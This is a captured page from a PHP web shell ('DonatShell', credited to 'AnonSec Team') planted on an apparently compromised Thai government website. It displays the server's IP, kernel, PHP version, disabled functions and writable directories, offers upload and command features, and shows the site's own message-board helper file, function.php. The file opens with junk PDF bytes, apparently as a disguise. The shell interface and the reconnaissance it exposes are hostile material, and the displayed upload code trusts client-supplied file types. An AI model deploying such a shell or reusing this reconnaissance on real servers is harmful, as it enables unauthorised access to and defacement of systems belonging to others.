%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/news/function.php
<META http-equiv=Content-Type content="text/html; charset=windows-874">

<?

//(1) ѺçѺͧ óշ server ͧ͡ ¤Ӥѭ $hour  $min 
	$hour = 0;   // 11 Ѻçͧ
	$min = 0;  //Ѻçͧ
	$Year = date("Y")+543;
	$thaiweekFull=array("ѹҷԵ ","ѹѹ ","ѹѧ ","ѹظ ","ѹʺ ","ѹء ","ѹ ");
	$thaimonthFull=array("Ҥ","Ҿѹ","չҤ","¹","Ҥ","Զع¹","áҤ","ԧҤ","ѹ¹","Ҥ", "Ȩԡ¹","ѹҤ");
	$thaimonth=array("..","..","..","..","..","..","..","..","..","..", "..","..");
	$numbermonth=array("01","02","03","04","05","06","07","08","09","10", "11","12");

	if ($Year=="2548"){$Shoryear="2548";}
	if ($Year=="2549"){$Shoryear="2549";}
	if ($Year=="2550"){$Shoryear="2550";}
	if ($Year=="2551"){$Shoryear="2551";}
	if ($Year=="2552"){$Shoryear="2552";}
	if ($Year=="2553"){$Shoryear="2553";}

	//سö͡ҹ 3 ҧ.. $mdate  $ThaiDate  $ThaiDateFull

	// 03-08-45
	//$mdate = date("d",mktime( date("H")+$hour, date("i")+$min ))."-".$numbermonth[date("m")-1]."-".$Shoryear; 

	// 3 .. 2544
	$ndate = date("j ",mktime( date("H")+$hour, date("i")+$min )). $thaimonth[date("m")-1]." ".$Year; 

	// 3 .. 2544  12:36 .
	$ThaiDate = date("j ").$thaimonth[date("m")-1]." ".$Year.date("  H:i .",mktime( date("H")+$hour, date("i")+$min )); 
	
	// ѹء 3 .. 2544  12:36 .
	$ThaiDateFull = $thaiweekFull[date("w",mktime( date("H")+$hour))]. date(" j ",mktime( date("H")+$hour)). $thaimonthFull[date("m")-1]. " ". $Year . date("  H:i .",mktime( date("H")+$hour, date("i")+$min )); 

	//  Թҷ Ѻҡ ..1900
	$Logtime = date("U",mktime( date("H")+$hour, date("i")+$min ));


//(2) ѧ蹵ѴҺöӷͧõѴ
	function CheckRude($temp){
		$wordrude = array(
		"ashole","a s h o l e","a.s.h.o.l.e","bitch","b i t c h","b.i.t.c.h","shit","s h i t","s.h.i.t","fuck",
		"dick","f u c k","d i c k","f.u.c.k","d.i.c.k","֧"," ","","","  ","..",
		"  ","--","","","","ҵ","Ҵ","     ",".....","     ",
		".....","","Ѵ","Ѵ","","","ѹҹ","","","鹵չ","ᵴ","-","--","--") ;
		$wordchange = ("<img src=\"./pic/ban.gif\" border=0>") ;

		for ( $i=0 ; $i<sizeof($wordrude) ; $i++ ){
			$temp = eregi_replace ($wordrude[$i] ,$wordchange ,$temp);
		}
		return ( $temp ) ;
	}


//(3) ѧáٻҾöٻ
	function CheckSmile($temp){
		global $url;
		$text = array(
		":sad:",":red:", ":big:", ":ent:", ":shy:", ":sleepy:", ":sun:", ":sg:", ":embarass:", 
		":dead:", ":cool:", ":clown:", ":pukey:", ":eek:", ":roll:", ":smoke:", ":angry:", ":confused:", ":cry:", 
		":lol:", ":yawn:", ":devil:", ":tongue:", ":alien:",":tasty:",":crazy:",":agree:",":disagree:",":bawling:", 
		":crap:",":crying1:",":dunce:",":error:",":evil:",":lookaroundb:",":laugh:",":pimp:",":spiny:",":wavey:",":smash:",":angry:",
		":brain:",":phone:",":zip:",":download:",":beer:",":censore:",":nolove:",":cranium:");

		$pic =array(
		"frown.gif","redface.gif","biggrin.gif","blue.gif","shy.gif","sleepy.gif","sunglasses.gif", "supergrin.gif","embarass.gif",
		"dead.gif","cool.gif","clown.gif","pukey.gif","eek.gif","sarcblink.gif","smokin.gif","reallymad.gif","confused.gif","crying.gif",
		"lol.gif","yawn.gif","devil.gif","tongue.gif","aysmile.gif","tasty.gif","grazy.gif","agree.gif","disagree.gif","bawling.gif",
		"crap.gif","crying1.gif","dunce.gif","error.gif","evil.gif","lookaroundb.gif","laugh.gif","pimp.gif","spiny.gif","wavey.gif","smash.gif","angry.gif",
		"brain.gif","phone.gif","zip.gif","download.gif","beer.gif","censore.gif","nolove.gif","cranium.gif");

		for ($i=0 ; $i<sizeof($text) ; $i++) {
			$temp = eregi_replace($text[$i],"<img src=\"./pic/$pic[$i]\">",$temp);
		}
		return($temp);
	}


//(4) ѧ蹵Ǩͺá Link  Tag 
	function CheckTag($temp){
		global $url;
		$temp = stripslashes(htmlspecialchars($temp));
		$temp = eregi_replace ( "<" , "&lt;" , $temp ) ;
		$temp = eregi_replace ( ">" , "&gt;" , $temp ) ;
		$temp = eregi_replace ( "\n", "<br>" , $temp ) ;

		//Ѻ¹ѡз˹ ᷡ html ҧ
		$temp = eregi_replace ( "\[b\]", "<b>" , $temp ) ;
		$temp = eregi_replace ( "\[/b\]", "</b>" , $temp ) ;
		$temp = eregi_replace ( "\[center\]", "<div align=center>" , $temp ) ;
		$temp = eregi_replace ( "\[/center\]", "</div>" , $temp ) ;
		$temp = eregi_replace ( "\[i\]", "<i>" , $temp ) ;
		$temp = eregi_replace ( "\[/i\]", "</i>" , $temp ) ;
		$temp = eregi_replace ( "\[u\]", "<u>" , $temp ) ;
		$temp = eregi_replace ( "\[/u\]", "</u>" , $temp ) ;
		$temp = eregi_replace ( "\[\-\-\-\]", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" , $temp ) ;
		$temp = eregi_replace ( "\[color=red\]", "<font color=red size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=green\]", "<font color=green size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=blue\]", "<font color=blue size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=orange\]", "<font color=FF6600 size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=pink\]", "<font color=FF00FF size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=gray\]", "<font color=999999 size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[/color\]", "</font>" , $temp ) ;

		// ʴٻá
		$temp = eregi_replace ("\[img\]([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]])\[/img\]", "<img src=\"\\1://\\2\\3\">",$temp ) ;

		// ҧԧ URL á
		$temp = eregi_replace ("\[url\]([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])\[/url\]","<a href=\"\\1://\\2\\3\" target=\"_blank\">\\1://\\2\\3</a>",$temp ) ;

		//ҧԧ
		$temp = eregi_replace ("([^[:space:]]*)@([^[:space:]]*)([[:alnum:]])","<a href=\"./mail2me/mail2me.php?wemail=\\1@\\2\\3&name=\\1@\\2\\3\" target=\"_blank\">\\1@\\2\\3</a>",$temp ) ;

		return ( $temp ) ;
	}

//(5) ѧʴͤ šáзӡ
	function Message($Size,$Color,$Message,$Comment,$Link){
		$temp = "<br><center>\n";
		$temp .= "<table width=$Size% border=0 cellspacing=0 cellpadding=0 bgcolor=#ccccFF>\n";
		$temp .= "<tr><td><table width=100% border=0 cellpadding=2 cellspacing=1>\n";
    	$temp .= "<tr bgcolor=#ccccFF>\n"; 
    	$temp .= "<td align=center><br>\n";
		$temp .= "<font color=$Color  ><b>$Message</b></font>\n";
		$temp .= "<br><br>$Comment<br><br>\n";
	    $temp .= "</td></tr></table></td></tr></table><br>\n";
		$temp .= "[ $Link ]\n";
		$temp .= "</center>\n";
		return ( $temp ) ;
	}

//(6) ѧ蹵Ǩͺٻ  copy ٻä
	function Send_Img($Type, $No, $Upload_Img, $Upload_Img_type, $Upload_Img_size) {
		include("./config.inc.php");	//駤ҵҧͧǻ
		if($Upload_Img!="none") {		// աٻҴ
			if($Upload_Img_type=="image/gif") {
				$imgfiles=".gif";  // .gif ʡ繵˹
			}
			else if( ($Upload_Img_type=="image/jpg") || ($Upload_Img_type=="image/jpeg") || ($Upload_Img_type=="image/pjpeg")) {
							$imgfiles=".jpg";  // .jpg ʡ繵˹
						}
						else {
						echo Message(35,"red","ٻҾ .gif  .jpg","سҵǨͺ¤Ѻ","<a href='javascript:history.back(1)'> Ѻ </a>");
						exit();
			}

			// ٻԹ 1 Mb (50 KB=51200)
			if($Upload_Img_size>1048576) {
			echo Message(35,"red","ҴͧٻԹҷ˹","سҵǨͺ","<a href='javascript:history.back(1)'> Ѻ </a>");
			exit();
			}

			// Ǩͺҧͧٻ
			$size = getimagesize($Upload_Img);
			if($size[0] > 400) {  //Ҥҧҡ 110 pixels
				echo Message(35,"red","ҧͧٻҡ 400 pixels","س䢴","<a href='javascript:history.back(1)'>Ѻ</a>");
				exit();
			}

			// Ǩͺä imagefiles  ҧ
			$DirOK = 0;
			$DIR = opendir("./$dataDir/");
			while ($text = readdir($DIR)){
				if($text == "imagefiles") $DirOK = 1;
			}
			if(!$DirOK) mkdir("./$dataDir/imagefiles/",0777);

			// 繡ٻҡõͺ (ͧҡõͺеͺ¤Ҩٻ)
			if($Type){
				// ҹӹǹͧٻҡ
				$filename = "./$dataDir/imagefiles/Img$No.txt"; 
				if(file_exists($filename)) {
					$FILE=fopen($filename,"rt");
					$num=fgets($FILE,10);
					fclose($FILE);
				}
				else{
					$num=0;
				}

				$num++;  //Ң 1

				// ѹ֡Ҩӹǹٻŧѧ ¤
				$FILE=fopen($filename,"w");
				flock($FILE,2);
				fputs($FILE,$num);
				flock($FILE,3);
				fclose($FILE);
				$ImgName = "R$No-$num$imgfiles";
			}
			else {
				$ImgName = "$No$imgfiles";
			}

			// copy ٻä
			copy($Upload_Img,"./$dataDir/imagefiles/$ImgName");
			return ($ImgName);

		} // õǨͺ ٻ
		else {
			return (0);
		}
	} // ѧ


//(7) ѧ蹵Ǩͺ.. ʵԴѹҡش 50 з
	function CheckFlood($IP) { 
		
		$fileLastIP = "lastip.txt";

		if(file_exists($fileLastIP)) {
			$FILE=fopen($fileLastIP,"rt");
			$last_ip = fgets($FILE,20);
			fclose($FILE);
	
			$last_ip = Chop($last_ip);
			list ($ipx, $xnum,) = split ('[,]', $last_ip);
		}

		if($ipx == $IP) {
			if ($xnum>10000){
				$check='no';
			} else {
				$check='yes';
			}
		}else{
			$check='yes';
			$xnum=0;
		}

		if ($check=='no'){
			echo Message(55,"red","¤Ѻ!! ͹حҵʵԴѹ§ 50 з","سҡѺ㹤˹","<a href='javascript:history.back(1)' class='styles2'>Ѻ</a>");
			exit();
		} else {
			$xnum++;
			$FILE = fopen ( $fileLastIP , "w+" );
				fputs ($FILE , "$IP,$xnum");
			fclose( $FILE);
		}
		return (1);
	}


//(8) ѧ蹵Ǩͺʡз.. 
	function CheckRepeated($QTitle) { 
		include("./config.inc.php");	//駤ҵҧͧǻ

		if(file_exists($fileQuestion)) {
			$question = file($fileQuestion);
	
			// ¡к÷Ѵ ͡繿Ŵ $question[0] ͡зش
			$split = explode("|X|",$question[0]);
			$topic = $split[1];

			if ($QTitle == $topic){
				echo Message(40,"red","¤Ѻ!! سʡз","سҵǨͺ","<a href='javascript:history.back(1)'>Ѻ</a>");
				exit();
			}
		}
		return (1);
	}


//(9) ѧҨӹǹͺз
	function CountReply($numQuestion) { 
		include("./config.inc.php");	//駤ҵҧͧǻ

		// ǹٻҹ ͧӵͺ Ҩӹǹӵͺ
		$fileReply = "./$dataDir/R$numQuestion.txt";
		$countR=0; // 繵Ǻ͡ըӹǹͺ褹

		if(file_exists($fileReply)) {
			$Reply = file($fileReply);
			for ($j=0 ; $j<sizeof($Reply) ; $j++) {

				// ¡к÷Ѵ ͡繿Ŵ
				$chk = explode("||",$Reply[$j]);

				// ҿŴ 0 ͧŷ͡ ҡѺ "IS_reply" (Ţз)  $countR
				if(substr($chk[0],0,8) == "IS_reply"){ $countR++; }
			}// end for j
		}//end if
		return $countR;
	}

//(10) ѧ蹵Ǩͺ㹡зٻ
	function CheckImage($No) { 
		include("./config.inc.php");	//駤ҵҧͧǻ
		$imgOK = 0;

		// ٻ㹡з
		$fileQImg="./$dataDir/imagefiles/$No";
		if(file_exists("$fileQImg.jpg")) $imgOK = 1;
		if(file_exists("$fileQImg.gif")) $imgOK = 1;

		// ٻ㹤ӵͺ
		$fileNumImgR="./$dataDir/imagefiles/Img$No.txt";
		$fileImgR="./$dataDir/imagefiles/R$No";
		if(file_exists($fileNumImgR)) {
			// ҹӹǹͧٻҡ
			if(file_exists($fileNumImgR)) {
				$FILE=fopen($fileNumImgR,"rt");
					$numImg=fgets($FILE,10);
				fclose($FILE);
			}
			for ($i=1 ; $i<=$numImg ; $i++){
				if(file_exists("$fileImgR-$i.jpg")) $imgOK = 1;
				if(file_exists("$fileImgR-$i.gif")) $imgOK = 1;
			}
		}
		return $imgOK;
	}
?>

Anon7 - 2022
AnonSec Team